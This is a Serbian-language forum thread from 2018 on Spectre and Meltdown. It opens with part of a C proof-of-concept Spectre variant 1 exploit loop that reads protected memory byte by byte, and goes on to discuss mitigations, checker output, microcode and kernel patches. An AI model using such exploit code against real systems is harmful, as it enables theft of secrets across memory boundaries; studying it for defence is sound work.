  const char * * argv) {
  
  /* Default to a cache hit threshold of 80 */
  int cache_hit_threshold = 80;

  char* secret1 = mmap(0,4096,PROT_READ | PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
  printf("before %p %p\n",secret1,array1);
  memcpy(secret1,secret,strlen(secret));
  mprotect(secret1,4096,PROT_NONE);
  secret = secret1;
  printf("guess now\n");
  /* Default for malicious_x is the secret string address */
  size_t malicious_x = (size_t)(secret - (char * ) array1);
  
  /* Default addresses to read is 40 (which is the length of the secret string) */
  int len = 40;
  
  int score[2];
  uint8_t value[2];
  int i;

  #ifdef NOCLFLUSH
  for (i = 0; i < sizeof(cache_flush_array); i++) {
    cache_flush_array[i] = 1;
  }
  #endif
  
  for (i = 0; i < sizeof(array2); i++) {
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  }

  /* Parse the cache_hit_threshold from the first command line argument.
     (OPTIONAL) */
  if (argc >= 2) {
    sscanf(argv[1], "%d", &cache_hit_threshold);
  }

  /* Parse the malicious x address and length from the second and third
     command line argument. (OPTIONAL) */
  if (argc >= 4) {
    sscanf(argv[2], "%p", (void * * )( &malicious_x));

    /* Convert input value into a pointer */
    malicious_x -= (size_t) array1;

    sscanf(argv[3], "%d", &len);
  }

  /* Print git commit hash */
  #ifdef GIT_COMMIT_HASH
    printf("Version: commit " GIT_COMMIT_HASH "\n");
  #endif
  
  /* Print cache hit threshold */
  printf("Using a cache hit threshold of %d.\n", cache_hit_threshold);
  
  /* Print build configuration */
  printf("Build: ");
  #ifndef NORDTSCP
    printf("RDTSCP_SUPPORTED ");
  #else
    printf("RDTSCP_NOT_SUPPORTED ");
  #endif
  #ifndef NOMFENCE
    printf("MFENCE_SUPPORTED ");
  #else
    printf("MFENCE_NOT_SUPPORTED");
  #endif
  #ifndef NOCLFLUSH
    printf("CLFLUSH_SUPPORTED ");
  #else
    printf("CLFLUSH_NOT_SUPPORTED ");
  #endif

  printf("\n");

  printf("Reading %d bytes:\n", len);

  /* Start the read loop to read each address */
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);

    /* Call readMemoryByte with the required cache hit threshold and
       malicious x address. value and score are arrays that are
       populated with the results.
    */
    readMemoryByte(cache_hit_threshold, malicious_x++, value, score);

    /* Display the results */
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
    
    if (score[1] > 0) {
      printf("(second best: 0x%02X=’%c’ score=%d)", value[1],
      (value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);
    }

    printf("\n");
  }
  return (0);
}

[ Mik0rist @ 13.01.2018. 18:46 ] @
Reci ovom crozoneu da treba da bude

Code:

int tries, i, j, k, mix_i;
unsigned int junk = 0;


onda ne izbacuje greške kad se kompajlira ;)
[ Branimir Maksimovic @ 13.01.2018. 18:58 ] @
Ma to nije greska nego warning, nego kako kod tebe radi? Jel cita ili ne cita? To me interesuje ;)
[ Mik0rist @ 13.01.2018. 19:01 ] @
The Magic Words are Squeamish Ossifrage :)
[ oracle_kid @ 14.01.2018. 09:51 ] @
Apdejtovao Linux Fedoru na 27, i pogledam microcode.."updated early to...2013"??
Imam laptop Intel i3 2370 za koji na sajtu pise da postoji update od 2018
Koji update Fedora distribuira? Jel mogu sam da instaliram novi microcode?

[ Mik0rist @ 14.01.2018. 12:47 ] @
[ Branimir Maksimovic @ 14.01.2018. 19:16 ] @
Citat:
oracle_kid:
Apdejtovao Linux Fedoru na 27, i pogledam microcode.."updated early to...2013"??
Imam laptop Intel i3 2370 za koji na sajtu pise da postoji update od 2018
Koji update Fedora distribuira? Jel mogu sam da instaliram novi microcode?



Nema svrhe da stavljas microcode update dok ne stignu kernel patchevi koji jos nisu sleteli ni u rc kernel a kamoli backportovani u starije.
Ja imam microcode ali ne radi ama bas nista korisno trenutno ;)
[ Mik0rist @ 14.01.2018. 19:56 ] @
Postoje samo dve verzije Linux-a za koje znam da su potpuno pačovani

OpenSUSE i Clear Linux. Ostali svi čekaju Retpoline support i GCC 7.2 koji je patched . . .

[Ovu poruku je menjao Mik0rist dana 14.01.2018. u 21:06 GMT+1]
[ Mik0rist @ 15.01.2018. 00:46 ] @
Citat:
Branimir Maksimovic:
nego kako kod tebe radi? Jel cita ili ne cita? To me interesuje ;)



Pod Clear Linux-om imam Bus error i ne može da se pokrene. Kraj priče. Bar za ovu verziju. :P

[Ovu poruku je menjao Mik0rist dana 15.01.2018. u 02:01 GMT+1]
[ Branimir Maksimovic @ 15.01.2018. 06:38 ] @
Ne bi trebalo da bude bus error to obicno javi kad mmapiras neki fajl sa vecom velicinom nego sto je fajl pa pokusas da pises iza fajla... mozda ti taj patch na clear Linux-u pravi sistem nestabilnim.
Svakako da ovo indikuje da je nesto poslo naopako sa mmap ;)
iskompajliraj sa -g pa opali gdb nad kore dumpom da vidis gde je zveknulo.
[ Mik0rist @ 15.01.2018. 14:34 ] @
Ima li kraja ovome ?

https://www.cnet.com/news/spec...tbank-simon-segars-pcs-phones/

[ Branimir Maksimovic @ 16.01.2018. 00:51 ] @
Ovakva je situacija kod mene sada ;p
Code:

~/projects/SpectrePoC >>> sudo spectre-meltdown-checker                                                                                                                                      ±[●●][master]
Spectre and Meltdown mitigation detection tool v0.31

Checking for vulnerabilities against running kernel Linux 4.15.0-1-CUSTOM #1 SMP PREEMPT Mon Jan 15 13:34:41 CET 2018 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz

CVE-2017-5753 [bounds check bypass] aka 'Spectre Variant 1'
* Checking whether we're safe according to the /sys interface:  NO  (kernel confirms your system is vulnerable)
> STATUS:  VULNERABLE  (Vulnerable)

CVE-2017-5715 [branch target injection] aka 'Spectre Variant 2'
* Checking whether we're safe according to the /sys interface:  YES  (kernel confirms that the mitigation is active)
> STATUS:  NOT VULNERABLE  (Mitigation: Full generic retpoline)

CVE-2017-5754 [rogue data cache load] aka 'Meltdown' aka 'Variant 3'
* Checking whether we're safe according to the /sys interface:  YES  (kernel confirms that the mitigation is active)
> STATUS:  NOT VULNERABLE  (Mitigation: PTI)

A false sense of security is worse than no security at all, see --disclaimer



Medjutim probao fazon sa mprotect na centos6 i spectre ne radi ni tamo ;p
ne radi ni na iMacu starom 10 godina ;)
[ nkrgovic @ 16.01.2018. 08:05 ] @
@Bane: Ako ja kapiram to sa mprotect je "fora" koja mora da se primeni u kodu i da se kod rekompajlira. Sto ce reci da tvoj kod radi kako valja, ali ako koristimo neki genericki softver mozemo samo da cekamo da ga autori okrpe... :)

Ja da opet pricam da tebe postujem kao developera nema smisla - previse sam to puta rekao. :) Ali to ne resava nista ako radis hosting, ili ako si ti hostovan na tudjem hostingu, ili ako jednostavno koristis genericki softver.... :/
[ Branimir Maksimovic @ 16.01.2018. 08:24 ] @
Ma ovo je samo resenje za neku aplikaciju koju sam pises, pa cak ni to, eto, recimo, ne mozes da sakrijes ni privatni kljuc u SSL-u jer to on drzi kod sebe ;p
[ Mik0rist @ 16.01.2018. 11:55 ] @
Pogledajte ovu smejuriju

https://betanews.com/2018/01/1...tdown-spectre-patches-malware/

Ali Smoke Loader. LoL
[ Mik0rist @ 16.01.2018. 12:20 ] @
Citat:
Branimir Maksimovic:
eto, recimo, ne mozes da sakrijes ni privatni kljuc u SSL-u jer to on drzi kod sebe ;p


Ovaj propust u procesorskom dizajnu su mogli da koriste zadnjih 10 godina najmanje.

Da iščitaju sve što se moglo iščitati.Na bilo kojoj mašini i OS-u.

I onda se pojavi par naučnika iz Graca i privatna kompanija Cyberus Technology , Dresden, Germany.


Koja je stara 8 mececi u njihovom privrednom registru da nam otkriju Meltdown / Spectre. :p
[ bojan_bozovic @ 16.01.2018. 13:26 ] @
@Branimir

Tvoj kod radi na Cygwin x86_64 (gcc 6.4.0) ali na MinGW-w64 ne (gcc 5.1.0 i gcc 7.2.0) jer koristi taj UNIX sys/mman.h kojega nema u MinGW.
[ Branimir Maksimovic @ 16.01.2018. 13:28 ] @
mingw ti je Windows api, to nije potpuna emulacija. Moraces da pretabas kod da koristi Windows VirtualProtect i odgovarajuci mmap poziv mada mislim da treba samo VirtualAlloc ili nesto sto alignuje na page size.
[ Mik0rist @ 23.01.2018. 11:07 ] @
Evo šta kaže majstor David Woodhouse

Citat:

I think we've covered the technical part of this now, not that you like
it — not that any of us *like* it. But since the peanut gallery is
paying lots of attention it's probably worth explaining it a little
more for their benefit.

This is all about Spectre variant 2, where the CPU can be tricked into
mispredicting the target of an indirect branch. And I'm specifically
looking at what we can do on *current* hardware, where we're limited to
the hacks they can manage to add in the microcode.

The new microcode from Intel and AMD adds three new features.

One new feature (IBPB) is a complete barrier for branch prediction.
After frobbing this, no branch targets learned earlier are going to be
used. It's kind of expensive (order of magnitude ~4000 cycles).

The second (STIBP) protects a hyperthread sibling from following branch
predictions which were learned on another sibling. You *might* want
this when running unrelated processes in userspace, for example. Or
different VM guests running on HT siblings.

The third feature (IBRS) is more complicated. It's designed to be
set when you enter a more privileged execution mode (i.e. the kernel).
It prevents branch targets learned in a less-privileged execution mode,
BEFORE IT WAS MOST RECENTLY SET, from taking effect. But it's not just
a 'set-and-forget' feature, it also has barrier-like semantics and
needs to be set on *each* entry into the kernel (from userspace or a VM
guest). It's *also* expensive. And a vile hack, but for a while it was
the only option we had.

Even with IBRS, the CPU cannot tell the difference between different
userspace processes, and between different VM guests. So in addition to
IBRS to protect the kernel, we need the full IBPB barrier on context
switch and vmexit. And maybe STIBP while they're running.

Then along came Paul with the cunning plan of "oh, indirect branches
can be exploited? Screw it, let's not have any of *those* then", which
is retpoline. And it's a *lot* faster than frobbing IBRS on every entry
into the kernel. It's a massive performance win.

So now we *mostly* don't need IBRS. We build with retpoline, use IBPB
on context switches/vmexit (which is in the first part of this patch
series before IBRS is added), and we're safe. We even refactored the
patch series to put retpoline first.

But wait, why did I say "mostly"? Well, not everyone has a retpoline
compiler yet... but OK, screw them; they need to update.

Then there's Skylake, and that generation of CPU cores. For complicated
reasons they actually end up being vulnerable not just on indirect
branches, but also on a 'ret' in some circumstances (such as 16+ CALLs
in a deep chain).

The IBRS solution, ugly though it is, did address that. Retpoline
doesn't. There are patches being floated to detect and prevent deep
stacks, and deal with some of the other special cases that bite on SKL,
but those are icky too. And in fact IBRS performance isn't anywhere
near as bad on this generation of CPUs as it is on earlier CPUs
*anyway*, which makes it not quite so insane to *contemplate* using it
as Intel proposed.

That's why my initial idea, as implemented in this RFC patchset, was to
stick with IBRS on Skylake, and use retpoline everywhere else. I'll
give you "garbage patches", but they weren't being "just mindlessly
sent around". If we're going to drop IBRS support and accept the
caveats, then let's do it as a conscious decision having seen what it
would look like, not just drop it quietly because poor Davey is too
scared that Linus might shout at him again. :)

I have seen *hand-wavy* analyses of the Skylake thing that mean I'm not
actually lying awake at night fretting about it, but nothing concrete
that really says it's OK.

If you view retpoline as a performance optimisation, which is how it
first arrived, then it's rather unconventional to say "well, it only
opens a *little* bit of a security hole but it does go nice and fast so
let's do it".

But fine, I'm content with ditching the use of IBRS to protect the
kernel, and I'm not even surprised. There's a *reason* we put it last
in the series, as both the most contentious and most dispensable part.
I'd be *happier* with a coherent analysis showing Skylake is still OK,
but hey-ho, screw Skylake.

The early part of the series adds the new feature bits and detects when
it can turn KPTI off on non-Meltdown-vulnerable Intel CPUs, and also
supports the IBPB barrier that we need to make retpoline complete. That
much I think we definitely *do* want. There have been a bunch of us
working on this behind the scenes; one of us will probably post that
bit in the next day or so.

I think we also want to expose IBRS to VM guests, even if we don't use
it ourselves. Because Windows guests (and RHEL guests; yay!) do use it.

If we can be done with the shouty part, I'd actually quite like to have
a sensible discussion about when, if ever, we do IBPB on context switch
(ptraceability and dumpable have both been suggested) and when, if
ever, we set STIPB in userspace.



https://lkml.org/lkml/2018/1/22/598
[ Mik0rist @ 23.01.2018. 15:22 ] @
Evo i Linusov odgovor.





Btw. Ako ste već ažurirali BIOS, kako biste izbegli nepredvidljivo ponašanje sistema, možete se vratiti na prethodnu verziju BIOS-a.

http://www.dell.com/support/ar...torage-and-networking-?lang=en

Ubuntu
https://usn.ubuntu.com/usn/usn-3531-2/

Realno nemam odgovor dokle će ova zajebancija da traje.
[ Mik0rist @ 23.01.2018. 17:31 ] @
Citat:
Branimir Maksimovic:
Izgleda da sam otkrio neku novu foru, ne radi ni jedan jedini meltdown ili spectre exploit koji sam nasao nad memorijskom zonom koja je necitljiva bilo kome.
Znaci ako hoces da sakrijes nesto od napadaca samo mprotect(addr,PROT_NONE) i ne radi ni jedan exploit ;)
Po potrebi mprotect(addr,PROT_READ/WRITE) pa odradis sta treba pa opet NONE ;)


Napiši ovo Ingo Molnaru - evo mu mejla ovde

https://lkml.org/lkml/2018/1/23/32

Izgleda da jedino on zna šta radi ovde ( možda mu sine genijalna ideja kako kroz kernel ovo isto da uradi - pošalje sve zahteve sa spekulativnim izvršenjem u PROT_NONE ).

Odnosno radi na fix-u. (dok se ostali prepucavaju)



[Ovu poruku je menjao Mik0rist dana 23.01.2018. u 22:06 GMT+1]
[ Branimir Maksimovic @ 26.01.2018. 06:40 ] @
Izgleda da ce Intel u sledecoj iteraciji fixnuti ranjivost?
http://www.tomshardware.com/ne...ix-meltdown-spectre,36405.html

"Krzanich later said the company would begin to ship products with "in-silicon" fixes for the vulnerabilities by the end of the year (Q4). He did not elaborate, but logically this means that the company will include these fixes in the 10nm generation of products. Krzanich also later stated that the company expects to continue developing its 14nm products in 2018, so we could see yet another round of 14nm processors (sigh). Of course, one could speculate that these chips might also have in-silicon patches for the vulnerabilities."
[ Mik0rist @ 02.02.2018. 14:50 ] @
Istraživači su predstavili novi Bitcoin protokol u radu objavljenom ove nedelje :

https://eprint.iacr.org/2018/104.pdf

Novi blockchain scalability protocol je izgrađen na SPECTRE (ima isto ime kao bag) . Odnosno Specte protokol pod nazivom PHANTOM.

Realno ne znam šta da mislim u vezi kriptovaluta. Smešno i tužno koliko je sve šuplje.




[Ovu poruku je menjao Mik0rist dana 02.02.2018. u 16:45 GMT+1]
[ Mik0rist @ 07.02.2018. 13:10 ] @
MS vraćaja nazad spektre zakrpe zbog nestabilnosti, problema sa performansama, iznenadnim rebutovanjem itd.

https://support.microsoft.com/...tion-against-spectre-variant-2